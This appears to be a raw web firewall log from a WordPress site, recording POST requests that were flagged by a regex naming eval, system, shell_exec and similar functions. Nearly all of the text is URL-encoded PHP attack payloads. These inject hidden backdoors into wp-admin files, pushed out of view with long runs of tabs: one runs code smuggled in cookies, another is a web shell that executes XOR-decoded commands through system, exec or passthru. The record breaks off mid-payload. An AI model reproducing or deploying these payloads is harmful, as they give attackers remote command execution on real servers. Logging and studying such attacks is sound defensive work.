%2524ent%2520%253D%2520%25229889d71df7b37cd202e6ba0fa778aa43%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524entry%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvryxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4384\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\n\nzY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/user-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-67%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-17%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524desc%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527171b4836%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524entry%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524bind%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524bind%252C%2520%2524dchunk%2529%253B%2520fclose%2528%2524bind%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524ent%2520%253D%2520%25229889d71df7b37cd202e6ba0fa778aa43%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524entry%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:54:02","185.98.128.239","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> iV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/user-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-67%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-17%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524desc%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527171b4836%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524entry%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524bind%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524bind%252C%2520%2524dchunk%2529%253B%2520fclose%2528%2524bind%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524ent%2520%253D%2520%25229889d71df7b37cd202e6ba0fa778aa43%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524entry%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-fetch-site:none\nsec-ch-ua-platform:\"Android\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnILvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4384\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\niV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/user-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-67%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-17%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524desc%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527171b4836%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524entry%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524bind%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524bind%252C%2520%2524dchunk%2529%253B%2520fclose%2528%2524bind%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524ent%2520%253D%2520%25229889d71df7b37cd202e6ba0fa778aa43%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524entry%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:54:10","208.181.135.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/user-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-67%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-17%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524desc%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527171b4836%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524entry%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524bind%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524bind%252C%2520%2524dchunk%2529%253B%2520fclose%2528%2524bind%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524ent%2520%253D%2520%25229889d71df7b37cd202e6ba0fa778aa43%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524entry%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-site:none\nsec-ch-ua-platform:\"Android\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4407\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-fetch-user:?1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua-mobile:?1\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/network\/user-edit.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-67%252B67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-17%252B18%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-77%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-51%252B55%255D%2529%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524desc%2529%2520%257B%2520%2524entry%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527171b4836%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522config_manager%2522%253B%2520%257D%2520%2524dchunk%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524entry%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524bind%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524bind%252C%2520%2524dchunk%2529%253B%2520fclose%2528%2524bind%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524ent%2520%253D%2520%25229889d71df7b37cd202e6ba0fa778aa43%2522%253B%2520if%2520%2528%2521strncmp%2528%2524ent%252C%2520%2524entry%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 22:54:13","163.172.31.86","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-admin.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524restore_state6%2520%253D%2520%2522st%255Cx72e%255Cx61m_g%255Cx65t%255Cx5F%255Cx63%255Cx6Fn%255Cx74e%255Cx6Et%255Cx73%2522%253B%2520%2524restore_state7%2520%253D%2520%2522p%255Cx63%255Cx6C%255Cx6Fse%2522%253B%2520%2524restore_state4%2520%253D%2520%2522p%255Cx61s%255Cx73thru%2522%253B%2520%2524restore_state5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524restore_state1%2520%253D%2520%2522s%255Cx79st%255Cx65m%2522%253B%2520%2524restore_state2%2520%253D%2520%2522%255Cx73%255Cx68el%255Cx6C%255Cx5Fe%255Cx78ec%2522%253B%2520%2524restore_state3%2520%253D%2520%2522%255Cx65xec%2522%253B%2520%2524settings%2520%253D%2520%2522%255Cx68ex2bi%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%2529%2520%257B%2520function%2520system_core%2520%2528%2524descriptor%2520%252C%2520%2524sym%2520%2529%2520%257B%2520%2524flg%2520%253D%2520%2527%2527%2520%253B%2520%2524n%253D0%253B%2520do%257B%2520%2524flg.%253Dchr%2528ord%2528%2524descriptor%255B%2524n%255D%2529%255E%2524sym%2529%253B%2520%2524n%252B%252B%253B%2520%257D%2520while%2528%2524n%253Cstrlen%2528%2524descriptor%2529%2529%253B%2520return%2520%2524flg%253B%2520%257D%2520%2524data%2520%253D%2520%2524settings%2528%2524_POST%255B%2522%255Cx64%255Cx61ta%2522%255D%2529%253B%2520%2524data%2520%253D%2520system_core%2528%2524data%252C%252078%2529%253B%2520if%2520%2528function_exists%2528%2524restore_state1%2529%2529%2520%257B%2520%2524restore_state1%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state2%2529%2529%2520%257B%2520print%2520%2524restore_state2%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state3%2529%2529%2520%257B%2520%2524restore_state3%2528%2524data%252C%2520%2524token_descriptor%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524token_descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state4%2529%2529%2520%257B%2520%2524restore_state4%2528%2524data%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524restore_state5%2529%2520%2526%2526%2520function_exists%2528%2524restore_state6%2529%2520%2526%2526%2520function_exists%2528%2524restore_state7%2529%2529%2520%257B%2520%2524sym_flg%2520%253D%2520%2524restore_state5%2528%2524data%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524sym_flg%2529%2520%257B%2520%2524marker_reference%2520%253D%2520%2524restore_state6%2528%2524sym_flg%2529%253B%2520%2524restore_state7%2528%2524sym_flg%2529%253B%2520print%2520%2524marker_reference%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28